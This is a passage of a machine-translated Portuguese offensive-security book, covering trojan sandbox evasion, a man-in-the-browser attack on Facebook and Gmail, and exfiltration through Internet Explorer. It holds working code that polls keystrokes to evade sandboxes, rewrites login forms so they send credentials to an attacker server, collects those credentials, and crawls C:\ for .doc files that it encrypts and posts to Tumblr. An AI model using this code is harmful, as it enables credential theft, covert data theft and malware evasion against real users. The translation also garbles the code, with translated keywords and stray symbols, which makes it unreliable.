estiver usando ativamente a máquina e, da mesma forma, você pode querer apenas
transmitir dados ou realizar outras tarefas quando o usuário parece estar offline.
Você também pode, por exemplo, modelar um usuário ao longo do tempo para determinar em
que dias e horas ele normalmente fica online.
Vamos excluir as últimas três linhas do código de teste e adicionar algum código
adicional para observar as teclas digitadas e os cliques do mouse. Usaremos uma solução
ctypes pura desta vez, em oposição ao método PyHook. Você também pode usar facilmente
o PyHook para essa finalidade, mas ter alguns truques diferentes em sua caixa de ferramentas
sempre ajuda, pois cada tecnologia antivírus e de sandbox tem suas próprias maneiras de
detectar esses truques. Vamos começar a codificação:

def get_key_press():

cliques globais do mouse


teclas globais

ÿ para i no intervalo (0,0xff): ÿ se


user32.GetAsyncKeyState(i) == -32767:

# 0x1 é o código para clicar com o botão esquerdo do mouse


ÿ se eu == 0x1:
cliques do mouse += 1
retornar hora.time()
ÿ elif i > 32 e i < 127: pressionamentos
de tecla += 1

retornar Nenhum

Esta função simples nos informa o número de cliques do mouse, o tempo dos
cliques do mouse e também quantas teclas o alvo emitiu.
Isso funciona iterando no intervalo de chaves de entrada válidas ÿ; para cada tecla,
verificamos se a tecla foi pressionada usando GetAsyncKeyState ÿ
chamada de função. Se a tecla for detectada como pressionada, verificamos se é 0x1 ÿ, que
é o código da chave virtual para um clique com o botão esquerdo do mouse. Aumentamos
o número total de cliques do mouse e retornamos o carimbo de data/hora atual para que
possamos realizar cálculos de tempo posteriormente. Também verificamos se há
pressionamentos de teclas ASCII no teclado ÿ e, em caso afirmativo, simplesmente
incrementamos o número total de pressionamentos de teclas detectados. Agora vamos
combinar os resultados dessas funções em nosso loop de detecção de sandbox primário.
Adicione o seguinte código ao sandbox_detect.py:

def detect_sandbox():

cliques globais do mouse


teclas globais

ÿ max_keystrokes = random.randint(10,25) max_mouse_clicks =


random.randint(5,25)

120 Capítulo 8

www.it-ebooks.info
Machine Translated by Google

double_clicks =0
max_double_clicks = 10
double_click_threshold = 0,250 # em segundos
primeiro_duplo_clique = Nenhum

média_mousetime =0
max_input_threshold = 30000 # em milissegundos

previous_timestamp = Nenhum
detecção_completa = Falso

ÿ last_input = get_last_input()

# se atingirmos nosso limite, vamos resgatar


se last_input >= max_input_threshold:
sys.exit(0)

embora não seja detecção_completo:

ÿ keypress_time=get_key_press()

se keypress_time não for None e previous_timestamp não for None:

# calcula o tempo entre cliques duplos


ÿ decorrido = keypress_time - previous_timestamp

# o usuário clicou duas vezes


ÿ se decorrido <= double_click_threshold:
double_clicks += 1

se first_double_click for Nenhum:

# pega o timestamp do primeiro clique duplo


primeiro_clique_duplo = time.time()

outro:

ÿ se double_clicks == max_double_clicks:
ÿ se keypress_time - first_double_click <= ¬
(max_double_clicks * double_click_threshold): sys.exit(0)

# estamos felizes por haver entrada de usuário suficiente


ÿ se as teclas forem pressionadas >= max_keystrokes e cliques duplos >= max_¬
cliques duplos e cliques do mouse >= max_mouse_clicks:

retornar

anterior_timestamp = keypress_time

elif keypress_time não é nenhum:


anterior_timestamp = keypress_time

detectar_sandbox()
imprimir "Estamos bem!"

Tarefas comuns de trojan no Windows 121

www.it-ebooks.info
Machine Translated by Google

Tudo bem. Esteja atento ao recuo nos blocos de código acima!


Começamos definindo algumas variáveis ÿ para rastrear o tempo dos cliques do mouse e alguns
limites em relação a quantas teclas ou cliques do mouse estamos satisfeitos antes de
considerarmos estar correndo fora de uma sandbox.
Nós randomizamos esses limites a cada execução, mas é claro que você pode definir seus
próprios limites com base em seus próprios testes.
Em seguida, recuperamos o tempo decorrido ÿ já que alguma forma de entrada do usuário foi
foi registrado no sistema, e se acharmos que já faz muito tempo que não recebemos
informações (com base em como a infecção ocorreu, conforme mencionado anteriormente), nós
resgatamos e o trojan morre. Em vez de morrer aqui, você também pode optar por realizar
alguma atividade inócua, como ler chaves de registro aleatórias ou verificar arquivos. Depois de
passarmos nessa verificação inicial, passamos para o loop de detecção de pressionamento de
tecla principal e clique do mouse.
Primeiro verificamos se há pressionamentos de teclas ou cliques do mouse ÿ e sabemos que
se a função retornar um valor, é o carimbo de data/hora de quando ocorreu o clique do mouse. Em
seguida, calculamos o tempo decorrido entre os cliques do mouse ÿ e depois o comparamos com
nosso limite ÿ para determinar se foi um clique duplo. Junto com a detecção de clique duplo, estamos
verificando se o operador do sandbox está transmitindo eventos de clique ÿ para o sandbox para tentar
falsificar as técnicas de detecção do sandbox. Por exemplo, seria bastante estranho ver 100 cliques
duplos seguidos durante o uso normal do computador. Se o número máximo de cliques duplos for
atingido e eles acontecerem em rápida sucessão ÿ, nós desistimos. Nossa etapa final é ver se
passamos por todas as verificações e alcançamos nosso número máximo de cliques,
pressionamentos de teclas e cliques duplos ÿ; nesse caso, saímos de nossa função de detecção de
sandbox.

Recomendo que você ajuste e brinque com as configurações e adicione recursos


adicionais, como detecção de máquina virtual. Pode valer a pena rastrear o uso típico em termos
de cliques do mouse, cliques duplos e pressionamentos de teclas em alguns computadores que
você possui (quero dizer, possuem - não aqueles que você invadiu!) para ver onde você acha
que está o ponto feliz. . Dependendo do seu alvo, você pode querer configurações mais paranóicas
ou pode não estar preocupado com a detecção de sandbox. Usar as ferramentas que você
desenvolveu neste capítulo pode funcionar como uma camada base de recursos a serem
implementados em seu trojan e, devido à modularidade de nossa estrutura de trojan, você pode
optar por implantar qualquer um deles.

122 Capítulo 8
www.it-ebooks.info
Machine Translated by Google

9
Divirta-se com o Internet Explorer

A automação do Windows COM atende a vários usos práticos, desde a


interação com serviços baseados em rede até a incorporação de uma
planilha do Microsoft Excel em seu próprio aplicativo. Todas as versões do
Windows, a partir do XP, permitem incorporar um objeto COM do Internet
Explorer em aplicativos, e aproveitaremos essa capacidade neste
capítulo. Usando o objeto de automação nativo do IE, criaremos um
ataque no estilo man-in-the-browser, onde podemos roubar credenciais
de um site enquanto um usuário está interagindo com ele. Tornaremos
esse ataque de roubo de credenciais extensível, para que vários sites alvo
possam ser coletados. A última etapa usará o Internet Explorer como meio
de exfiltrar dados de um sistema de destino. Incluiremos alguma
criptografia de chave pública para proteger os dados exfiltrados, para que
somente nós possamos descriptografá-los.
Internet Explorer, você diz? Embora outros navegadores como Google
Chrome e Mozilla Firefox sejam mais populares atualmente, a maioria dos
ambientes corporativos ainda usa o Internet Explorer como navegador padrão.
E, claro, você não pode remover o Internet Explorer de um sistema Windows –
portanto, essa técnica deve estar sempre disponível para o seu trojan do Windows.

www.it-ebooks.info
Machine Translated by Google

Homem no navegador (mais ou menos)


Os ataques man-in-the-browser (MitB) existem desde a virada do novo milênio. Eles são
uma variação do clássico ataque man-in-the-middle. Em vez de agir no meio de uma
comunicação, o malware se instala e rouba credenciais ou informações confidenciais do
navegador do alvo desavisado. A maioria dessas cepas de malware (normalmente
chamadas de Objetos Auxiliares de Navegador) se inserem no navegador ou injetam código de
outra forma para que possam manipular o próprio processo do navegador. À medida que os
desenvolvedores de navegadores se familiarizam com essas técnicas e os fornecedores de
antivírus procuram cada vez mais esse comportamento, precisamos ser um pouco mais
sorrateiros. Ao aproveitar a interface COM nativa do Internet Explorer, podemos controlar
qualquer sessão do IE para obter credenciais para sites de redes sociais ou logins de e-mail. É
claro que você pode estender essa lógica para alterar a senha de um usuário ou realizar
transações com sua sessão logada. Dependendo do seu alvo, você também pode usar esta
técnica em conjunto com o seu módulo keylogger para forçá-los a se autenticarem
novamente em um site enquanto você captura as teclas digitadas.

Começaremos criando um exemplo simples que observará um usuário navegando


no Facebook ou Gmail, desautenticá-lo-á e, em seguida, modificará o formulário de login para
enviar seu nome de usuário e senha para um servidor HTTP que controlamos . Nosso
servidor HTTP irá simplesmente redirecioná-los de volta para a página de login real.

Se você já desenvolveu algum desenvolvimento em JavaScript, notará que o


modelo COM para interagir com o IE é muito semelhante. Estamos escolhendo o Facebook
e o Gmail porque os usuários corporativos têm o péssimo hábito de reutilizar senhas e usar
esses serviços para negócios (particularmente, encaminhar correspondências comerciais
para o Gmail, usar o bate-papo do Facebook com colegas de trabalho e assim por diante).
Vamos abrir mitb.py e inserir o seguinte código:

importar win32com.client
hora de importação
importar URL
importar URLlib

ÿ data_receiver = "http://localhost:8080/"

ÿ target_sites = {}
target_sites["www.facebook.com"] = ¬
{"logout_url" : Nenhum,
"logout_form" : "logout_form",
"login_form_index": 0,
"controlado" : Falso}

target_sites["accounts.google.com"] =¬

{"logout_url" : "https://accounts.google.com/¬ Sair?


hl=en&continue=https://accounts.google.com/¬
ServiceLogin%3Fservice%3Dmail",
"logout_form" : Nenhum,
"login_form_index": 0,
"controlado" : Falso}

124 Capítulo 9
www.it-ebooks.info
Machine Translated by Google

# use o mesmo destino para vários domínios do Gmail


target_sites["www.gmail.com"] = target_sites["accounts.google.com"]
target_sites["mail.google.com"] = target_sites["accounts.google.com"]

clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

ÿ windows = win32com.client.Dispatch(clsid)

Esses são os ingredientes do nosso ataque homem (mais ou menos) no navegador. Nós
defina nossa variável data_receiver ÿ como o servidor web que receberá as credenciais
de nossos sites de destino. Esse método é mais arriscado, pois um usuário astuto pode ver
o redirecionamento acontecer; portanto, como um projeto de lição de casa futuro, você pode
pensar em maneiras de extrair cookies ou enviar as credenciais armazenadas através do
DOM por meio de uma tag de imagem ou outros meios que pareçam menos suspeitos.
Em seguida, configuramos um dicionário de sites-alvo ÿ que nosso ataque suportará. Os
membros do dicionário são os seguintes: logout_url é uma URL que podemos redirecionar
por meio de uma solicitação GET para forçar o logout do usuário; o logout_form é um
elemento DOM que podemos enviar e que força o logout; login_form_index é o local
relativo no DOM do domínio de destino que contém o formulário de login que
modificaremos; e o sinalizador de propriedade nos informa se já capturamos credenciais
de um site de destino porque não queremos forçá-los a fazer login repetidamente ou
então o alvo pode suspeitar que algo está acontecendo. Em seguida, usamos o ID de
classe do Internet Explorer e instanciamos o objeto COM ÿ, que nos dá acesso a todas as
guias e instâncias do Internet Explorer que estão em execução no momento.

Agora que temos a estrutura de suporte instalada, vamos criar o loop principal do
nosso ataque:

enquanto Verdadeiro:

você para navegador no Windows:

url = urlparse.urlparse(browser.LocationUrl)

ÿ se url.hostname em target_sites:

ÿ if target_sites[url.hostname]["propriedade"]: continuar

# se houver um URL, podemos apenas redirecionar


ÿ if target_sites[url.hostname]["logout_url"]:
navegador.Navigate(target_sites[url.hostname]["logout_url"])
wait_for_browser(navegador)

outro:

# recupera todos os elementos do documento


ÿ full_doc = navegador.Documento.all

# iterar, procurando o formulário de logout


para eu em full_doc:

Diversão com o Internet Explorer 125

www.it-ebooks.info
Machine Translated by Google

tentar:

# encontre o formulário de logout e envie-o


ÿ if i.id == target_sites[url.hostname]["logout_form"]: i.submit()

wait_for_browser(navegador)

exceto:
passar

# agora modificamos o formulário de login


tentar:
login_index = target_sites[url.hostname]["login_form_index"]
login_page=urllib.quote(browser.LocationUrl)
ÿ navegador.Document.forms[login_index].action = "%s%s" % (dados_¬
receptor, login_page)
target_sites[url.hostname]["propriedade"] = Verdadeiro

exceto:
passar
hora.sono(5)

Este é o nosso loop principal onde monitoramos a sessão do navegador do nosso alvo para os
sites dos quais queremos obter credenciais. Começamos iterando todos os objetos do Internet
Explorer ÿ atualmente em execução; isso inclui guias ativas no IE moderno. Se descobrirmos que o
alvo está visitando um de nossos sites predefinidos ÿ podemos iniciar a lógica principal do nosso
ataque. O primeiro passo é determinar se já executamos um ataque contra este site ÿ; nesse caso,
não o executaremos novamente. (Isso tem uma desvantagem: se o usuário não digitar a senha
corretamente, você poderá perder suas credenciais; deixarei nossa solução simplificada como
uma tarefa de casa para melhorar.)

Em seguida, testamos para ver se o site de destino tem uma URL de logout simples que
podemos redirecionar para ÿ e, em caso afirmativo, forçamos o navegador a fazer isso. Se o site
de destino (como o Facebook) exigir que o usuário envie um formulário para forçar o logout,
começamos a iterar sobre o DOM ÿ e quando descobrimos o ID do elemento HTML que está
registrado no formulário de logout ÿ, forçamos o formulário a ser enviado. Depois que o usuário for
redirecionado para o formulário de login, modificamos o endpoint do formulário para postar o nome
de usuário e a senha em um servidor que controlamos ÿ e, em seguida, esperamos que o usuário
faça o login. Observe que colocamos o nome do host do nosso site de destino no final da URL do
nosso servidor HTTP que coleta as credenciais. Isso ocorre para que nosso servidor HTTP saiba
para qual site redirecionar o navegador após coletar as credenciais.

Você notará a função wait_for_browser referenciada em alguns pontos acima, que é uma
função simples que espera que um navegador conclua uma

126 Capítulo 9
www.it-ebooks.info
Machine Translated by Google

operação como navegar para uma nova página ou aguardar o carregamento completo de uma
página. Vamos adicionar essa funcionalidade agora inserindo o seguinte código acima do loop
principal do nosso script:

def wait_for_browser(navegador):

# espere o navegador terminar de carregar uma página


enquanto browser.ReadyState != 4 e browser.ReadyState != "complete":
tempo.sleep(0.1)

retornar

Bem simples. Estamos apenas esperando que o DOM esteja totalmente carregado antes de
permitir que o restante do nosso script continue em execução. Isso nos permite cronometrar
cuidadosamente quaisquer modificações no DOM ou operações de análise.

Criando o Servidor
Agora que configuramos nosso script de ataque, vamos criar um servidor HTTP muito simples para
coletar as credenciais conforme elas são enviadas. Abra um novo arquivo chamado cred_server.py
e insira o seguinte código:

importar SimpleHTTPServer
importar SocketServer
importar URLlib

classe CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
ÿ content_length = int(self.headers['Content-Length']) creds =
ÿ self.rfile.read(content_length).decode('utf-8') imprimir creds site =
ÿ self.path[1: ]
ÿ self.send_response(301)

ÿ self.send_header('Local',urllib.unquote(site)) self.end_headers()

ÿ servidor = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler) server.serve_forever()

Este simples trecho de código é nosso servidor HTTP especialmente projetado. Nós
inicialize a classe TCPServer base com o IP, porta e CredRequestHandler
classe ÿ que será responsável por tratar as solicitações HTTP POST.
Quando nosso servidor recebe uma solicitação do navegador de destino, lemos o cabeçalho
Content-Length ÿ para determinar o tamanho da solicitação e, em seguida, lemos o conteúdo
da solicitação ÿ e os imprimimos ÿ. Em seguida, analisamos o site de origem (Facebook, Gmail,
etc.) ÿ e forçamos o navegador de destino a redirecionar ÿ de volta à página principal do site
de destino. Um recurso adicional que você pode adicionar aqui é enviar um e-mail para si mesmo
a cada

Diversão com o Internet Explorer 127

www.it-ebooks.info
Machine Translated by Google

momento em que as credenciais são recebidas para que você possa tentar fazer
login usando as credenciais do alvo antes que ele tenha a chance de alterar sua senha.
Vamos dar uma volta.

Chutando os pneus

Abra uma nova instância do IE e execute seus scripts mitb.py e cred_server.py em


janelas separadas. Você pode testar primeiro a navegação em vários sites para ter
certeza de que não está vendo nenhum comportamento estranho, o que não deveria.
Agora navegue até o Facebook ou Gmail e tente fazer login. Em seu cred_server.py
janela, você deverá ver algo como o seguinte, usando o Facebook como exemplo:

C:\>python.exe cred_server.py
lsd=AVog7IRe&[email protected]&pass=pyth0nrocks&default_persistent=0&¬
fuso horário=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US
localhost - - [12/março/2014 00:03:50] "POST /www.facebook.com HTTP/1.1" 301 -

Você pode ver claramente as credenciais chegando e o redirecionamento do


servidor, levando o navegador de volta à tela de login principal. Claro, você também
pode realizar um teste onde você tem o Internet Explorer rodando e já está
logado no Facebook; em seguida, tente executar seu script mitb.py e você verá
como ele força o logout. Agora que podemos obter as credenciais do usuário dessa
maneira, vamos ver como podemos gerar o IE para ajudar a exfiltrar informações de
uma rede de destino.

Automação IE COM para exfiltração

Obter acesso a uma rede alvo é apenas uma parte da batalha. Para usar seu acesso, você deseja
exfiltrar documentos, planilhas ou outros dados do sistema de destino. Dependendo dos mecanismos
de defesa implementados, esta última parte do seu ataque pode ser complicada. Pode haver
sistemas locais ou remotos (ou uma combinação de ambos) que funcionam para validar
processos que abrem conexões remotas, bem como se esses processos devem ser capazes de
enviar informações ou iniciar conexões fora da rede interna. Um colega pesquisador de segurança
canadense, Karim Nathoo, apontou que a automação do IE COM tem o maravilhoso benefício de
usar o processo Iexplore.exe , que normalmente é confiável e está na lista de permissões, para
exfiltrar informações de uma rede.

Criaremos um script Python que primeiro procurará documentos do Microsoft


Word no sistema de arquivos local. Quando um documento é encontrado, o script o
criptografa usando criptografia de chave pública.1 Depois que o documento for
criptografado, automatizaremos o processo de postagem do documento criptografado
em um blog no tumblr.com. Isso nos permitirá descartar o documento e recuperá-lo
quando quisermos, sem que ninguém mais possa descriptografá-lo. Por

1. O pacote Python PyCrypto pode ser instalado em http:// www.voidspace.org.uk/ python/


módulos.shtml#pycrypto/.

128 Capítulo 9

www.it-ebooks.info
Machine Translated by Google

usando um site confiável como o Tumblr, também deveremos ser capazes de contornar
qualquer lista negra que um firewall ou proxy possa ter, o que poderia nos impedir de
enviar o documento apenas para um endereço IP ou servidor web que controlamos. Vamos
começar colocando algumas funções de suporte em nosso script de exfiltração. Abra
ie_exfil.py e digite o seguinte código:

importar win32com.client
importe-nos
importar fnmatch
hora de importação
importar aleatoriamente

importar zlib

de Crypto.PublicKey importar RSA


da importação Crypto.Cipher PKCS1_OAEP

doc_type = ".doc"
nome de usuário = "[email protected]"
senha = "justinBHP2014"

""
chave_pública =

def wait_for_browser(navegador):

# espere o navegador terminar de carregar uma página


enquanto browser.ReadyState != 4 e browser.ReadyState != "complete": time.sleep(0.1)

retornar

Estamos apenas criando nossas importações, os tipos de documentos que


iremos pesquisar, nosso nome de usuário e senha do Tumblr e um espaço reservado para
nossa chave pública, que geraremos mais tarde. Agora vamos adicionar nossas rotinas de
criptografia para que possamos criptografar o nome e o conteúdo do arquivo.

def encrypt_string(texto simples):

tamanho_pedaço = 256
print "Compactação: %d bytes" % len(texto simples)
ÿ texto simples = zlib.compress(texto simples)

print "Criptografando %d bytes" % len(texto simples)

ÿ rsakey = RSA.importKey(public_key) rsakey =


PKCS1_OAEP.new(rsakey)

""
criptografado =
deslocamento = 0

Diversão com o Internet Explorer 129

www.it-ebooks.info
Machine Translated by Google

ÿ enquanto deslocamento < len(texto simples):

pedaço = texto simples[offset:offset+chunk_size]

ÿ if len(pedaço)% pedaço_tamanho!= 0: pedaço


+= " " * (tamanho_pedaço - len(pedaço))

criptografado += rsakey.encrypt(pedaço)
deslocamento += chunk_size

ÿ criptografado = criptografado.encode("base64")

print "Criptografia codificada em Base64: %d" % len(criptografado)

retornar criptografado

def encrypt_post(nome do arquivo):

# abra e leia o arquivo


fd = abrir(nome do arquivo,"rb")
conteúdo = fd.read()
fd.fechar()

ÿ título_criptografado = string_criptografada(nome do arquivo)


corpo_criptografado = string_criptografada(conteúdo)

retornar título_criptografado, corpo_criptografado

Nossa função encrypt_post é responsável por receber o nome do arquivo e retornar tanto
o nome do arquivo criptografado quanto o conteúdo do arquivo criptografado no formato
codificado em base64. Primeiro chamamos a função principal encrypt_string ÿ, passando o nome do
arquivo de destino que se tornará o título de nossa postagem no Tumblr. A primeira etapa de nossa
função encrypt_string é aplicar a compactação zlib no arquivo ÿ antes de configurar nosso objeto de
criptografia de chave pública RSA ÿ usando nossa chave pública gerada. Em seguida, começamos
a percorrer o conteúdo do arquivo ÿ e criptografá-lo em pedaços de 256 bytes, que é o tamanho
máximo para criptografia RSA usando PyCrypto.

Quando encontramos o último pedaço do arquivo ÿ, se ele não tiver 256 bytes de comprimento,
nós o preenchemos com espaços para garantir que possamos criptografá-lo e descriptografá-
lo com êxito no outro lado. Depois de construirmos toda a nossa string de texto cifrado, nós a
codificamos em base64 ÿ antes de retorná-la. Usamos codificação base64 para que possamos
publicá-lo em nosso blog do Tumblr sem problemas ou problemas estranhos de codificação.
Agora que configuramos nossas rotinas de criptografia, vamos começar a adicionar a
lógica para lidar com o login e a navegação no painel do Tumblr.
Infelizmente, não existe uma maneira rápida e fácil de encontrar elementos de UI na Web:
simplesmente passei 30 minutos usando o Google Chrome e suas ferramentas de
desenvolvimento para inspecionar cada elemento HTML com o qual eu precisava interagir.

130 Capítulo 9
www.it-ebooks.info
Machine Translated by Google

Também é importante notar que, através da página de configurações do Tumblr, mudei o modo
de edição para texto simples, o que desativa seu incômodo editor baseado em JavaScript. Se
desejar usar um serviço diferente, você também terá que descobrir o tempo preciso, as interações
DOM e os elementos HTML necessários - felizmente, o Python torna a automação muito fácil.
Vamos adicionar mais algum código!

ÿ def random_sleep():
time.sleep(random.randint(5,10))
retornar

def login_to_tumblr(ou seja):

# recupera todos os elementos do documento


ÿ full_doc = ou seja.Document.all

# itera procurando o formulário de login


para eu em full_doc:
ÿ if i.id == "signup_email":
i.setAttribute("valor",nome de usuário)
elif i.id == "signup_password":
i.setAttribute("valor",senha)

sono_aleatório()

# você pode ver diferentes páginas iniciais


ÿ se ie.Document.forms[0].id == "signup_form":
ie.Document.forms[0].submit()
outro:
ou seja,Document.forms[1].submit()
exceto IndexError, e:
passar

sono_aleatório()

# o formulário de login é o segundo formulário da página


espere_pelo_navegador(ou seja)

retornar

Criamos uma função simples chamada random_sleep ÿ que irá dormir por um
período de tempo aleatório; isso foi projetado para permitir que o navegador
execute tarefas que podem não registrar eventos no DOM para sinalizar que foram
concluídas. Também faz com que o navegador pareça um pouco mais humano.
Nossa função login_to_tumblr começa recuperando todos os elementos do DOM ÿ,
procura pelos campos de e-mail e senha ÿ e os configura com as credenciais que
fornecemos (não se esqueça de criar uma conta). O Tumblr pode apresentar uma
tela de login ligeiramente diferente a cada visita, então o próximo trecho de código ÿ
simplesmente tenta encontrar o formulário de login e enviá-lo de acordo. Após a
execução desse código, devemos estar logados no painel do Tumblr e prontos para
postar algumas informações. Vamos adicionar esse código agora.

Diversão com o Internet Explorer 131

www.it-ebooks.info
Machine Translated by Google

def post_to_tumblr(ou seja,título,post):

full_doc = ie.Document.all

para eu em full_doc:
se i.id == "post_one":
i.setAttribute("valor",título)
caixa_título = eu
Eu foco()
elif i.id == "post_dois":
i.setAttribute("innerHTML",postagem)
print "Definir área de texto"
Eu foco()
elif i.id == "create_post":
imprima "Botão de postagem encontrada"
post_form = eu
Eu foco()

# afasta o foco da caixa de conteúdo principal


random_sleep() ÿ
title_box.focus() random_sleep()

#posta o formulário
post_form.children[0].click()
espere_pelo_navegador(ou seja)

sono_aleatório()

retornar

Nenhum deste código deve parecer muito novo neste momento. Estamos
simplesmente procurando no DOM onde postar o título e o corpo da postagem do blog.
A função post_to_tumblr recebe apenas uma instância do navegador e o nome do
arquivo criptografado e o conteúdo do arquivo para postar. Um pequeno truque
(aprendido observando as ferramentas de desenvolvedor do Chrome) ÿ é que
precisamos desviar o foco da parte principal do conteúdo da postagem para que o
JavaScript do Tumblr ative o botão Postar. É importante anotar esses pequenos truques
sutis à medida que você aplica essa técnica a outros sites. Agora que podemos fazer
login e postar no Tumblr, vamos dar os retoques finais em nosso script.

def exfiltrado(document_path):

ÿ ou seja = win32com.client.Dispatch("InternetExplorer.Application") ÿ ou seja.Visible = 1

# acesse o tumblr e faça login


ou seja,Navigate("http://www.tumblr.com/login")
espere_pelo_navegador(ou seja)

132 Capítulo 9

www.it-ebooks.info
Machine Translated by Google

imprima "Efetuando login..."


login_to_tumblr(ou seja)
print "Logado...navegando"

ou seja,Navigate("https://www.tumblr.com/new/text")
espere_pelo_navegador(ou seja)

#criptografa o arquivo
título, corpo = encrypt_post(caminho_do documento)

print "Criando nova postagem..."


post_to_tumblr(ou seja, título, corpo)
imprima "Postado!"

#destrua a instância do IE
ÿ ou seja.Quit() ou
seja = Nenhum

retornar

# loop principal para descoberta de documentos


# NOTA: nenhuma guia para a primeira linha do código abaixo
ÿ para pai, diretórios e nomes de arquivos em os.walk("C:\\"):
para nome de arquivo em fnmatch.filter(filenames,"*%s" % doc_type):
document_path = os.path.join(pai,nome do arquivo)
imprima "Encontrado: %s" % document_path
exfiltrar (caminho_do documento)
raw_input("Continuar?")

Nossa função de exfiltração é o que chamaremos para cada documento que quisermos
armazenar no Tumblr. Primeiro, ele cria uma nova instância do objeto COM do Internet Explorer ÿ
— e o interessante é que você pode definir o processo para ser visível ou não ÿ. Para depuração,
deixe-o definido como 1, mas para obter o máximo de sigilo, você definitivamente deseja defini-lo
como 0. Isso é realmente útil se, por exemplo, seu trojan detectar outra atividade em andamento;
nesse caso, você pode começar a extrair documentos, o que pode ajudar a mesclar ainda mais
suas atividades com as do usuário. Depois de chamar todas as nossas funções auxiliares,
simplesmente matamos nossa instância do IE ÿ e retornamos. A última parte do nosso script ÿ é
responsável por rastrear a unidade C:\ no sistema de destino e tentar corresponder à nossa extensão
de arquivo predefinida (.doc neste caso). Cada vez que um arquivo é encontrado, simplesmente
passamos o caminho completo do arquivo para nossa função de exfiltração .

Agora que temos nosso código principal pronto, precisamos criar um rápido
e um script de geração de chave RSA sujo, bem como um script de descriptografia que podemos
usar para colar um pedaço de texto criptografado do Tumblr e recuperar o texto simples. Vamos
começar abrindo keygen.py e inserindo o seguinte código:

de Crypto.PublicKey importar RSA

new_key = RSA.generate(2048, e=65537) public_key


= new_key.publickey().exportKey("PEM") private_key =
new_key.exportKey("PEM")

Diversão com o Internet Explorer 133

www.it-ebooks.info
Machine Translated by Google

imprimir chave_pública
imprimir chave_privada

É isso mesmo: Python é tão incrível que podemos fazer isso com apenas algumas
linhas de código. Este bloco de código gera um par de chaves privada e pública.
Copie a chave pública em seu script ie_exfil.py . Em seguida, abra um novo arquivo
Python chamado decryptor.py e insira o seguinte código (cole a chave privada na variável
private_key ):

importar zlib
importar base64
de Crypto.PublicKey importar RSA de
Crypto.Cipher importar PKCS1_OAEP

private_key = "###COLE A CHAVE PRIVADA AQUI###"

ÿ rsakey = RSA.importKey(chave_privada) rsakey =


PKCS1_OAEP.new(rsakey)

tamanho_pedaço = 256
=0
""
deslocamento
descriptografado = ÿ criptografado = base64.b64decode (criptografado)

enquanto deslocamento <len(criptografado):


ÿ descriptografado += rsakey.decrypt(criptografado[offset:offset+chunk_size]) offset += chunk_size

# agora descompactamos para o original


ÿ texto simples = zlib.decompress(descriptografado)

imprimir texto simples

Perfeito! Simplesmente instanciamos nossa classe RSA com a chave privada ÿ


e logo em seguida decodificamos em base64 ÿ nosso blob codificado do Tumblr. Muito
parecido com nosso loop de codificação, simplesmente pegamos pedaços de 256 bytes ÿ
e descriptografá-los, construindo lentamente nossa string de texto simples original. A
etapa final ÿ é descompactar a carga útil, pois já a compactamos anteriormente no
outro lado.

Chutando os pneus

Existem muitas partes móveis neste trecho de código, mas é bastante fácil de usar.
Simplesmente execute seu script ie_exfil.py em um host Windows e espere que ele
indique que foi postado com sucesso no Tumblr. Se você deixou o Internet Explorer
visível, deverá ter conseguido assistir todo o processo.
Depois de concluído, você poderá navegar até sua página do Tumblr e ver algo como a
Figura 9-1.

134 Capítulo 9
www.it-ebooks.info
Machine Translated by Google

Figura 9-1: Nosso nome de arquivo criptografado

Como você pode ver, há um grande blob criptografado, que é o nome do


nosso arquivo. Se você rolar para baixo, verá claramente que o título termina
onde a fonte não está mais em negrito. Se você copiar e colar o título em seu
arquivo decryptor.py e executá-lo, deverá ver algo assim:

#:> python descriptografador.py


C:\Arquivos de programas\Ferramentas de depuração para Windows (x86)\dml.doc
#:>

Perfeito! Meu script ie_exfil.py pegou um documento do Windows


Diretório de ferramentas de depuração, carreguei o conteúdo no Tumblr e posso descriptografar
o nome do arquivo com sucesso. Agora, é claro, para fazer todo o conteúdo do arquivo, você
deve automatizá-lo usando os truques que mostrei no Capítulo 5 (usando urllib2 e HTMLParser),
que deixarei como tarefa de casa para você. A outra coisa a considerar é que em nosso script
ie_exfil.py , preenchemos os últimos 256 bytes com o caractere de espaço, e isso pode quebrar
certos formatos de arquivo. Outra ideia para estender o projeto é criptografar um campo de
comprimento no início do conteúdo da postagem do blog que informa o tamanho original do
documento antes de preenchê-lo. Você pode então ler esse tamanho depois de descriptografar o
conteúdo da postagem do blog e cortar o arquivo para esse tamanho exato.

Diversão com o Internet Explorer 135

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

10
W in do ws Privilégio
Escalação

Então você abriu uma caixa dentro de uma bela e suculenta rede Windows. Talvez

você tenha aproveitado um heap overflow remoto ou tenha feito phishing para entrar na

rede. É hora de começar a procurar maneiras de aumentar os privilégios. Se você já é

SYSTEM ou Administrador, provavelmente desejará várias maneiras de obter esses

privilégios caso um ciclo de patch interrompa seu acesso. Também pode ser importante
ter um catálogo de escalações de privilégios em seu bolso, já que algumas empresas
executam software que pode ser difícil de analisar em seu próprio ambiente, e você pode
não encontrar esse software até estar em uma empresa do mesmo tamanho ou
composição. Em uma escalação de privilégios típica, você explorará um driver mal
codificado ou um problema de kernel nativo do Windows, mas se usar uma exploração
de baixa qualidade ou houver um problema durante a exploração, você corre o risco de
instabilidade do sistema. Exploraremos alguns outros meios de adquirir privilégios
elevados no Windows.

www.it-ebooks.info
Machine Translated by Google

Os administradores de sistema em grandes empresas geralmente têm tarefas


ou serviços agendados que executarão processos filhos ou executarão scripts VBScript
ou PowerShell para automatizar tarefas. Os fornecedores também costumam ter tarefas
integradas e automatizadas que se comportam da mesma maneira. Tentaremos
aproveitar os processos de alto privilégio que manipulam arquivos ou executam
binários que podem ser gravados por usuários de baixo privilégio. Existem inúmeras
maneiras de tentar aumentar privilégios no Windows, e abordaremos apenas algumas.
No entanto, quando você entender esses conceitos básicos, poderá expandir seus
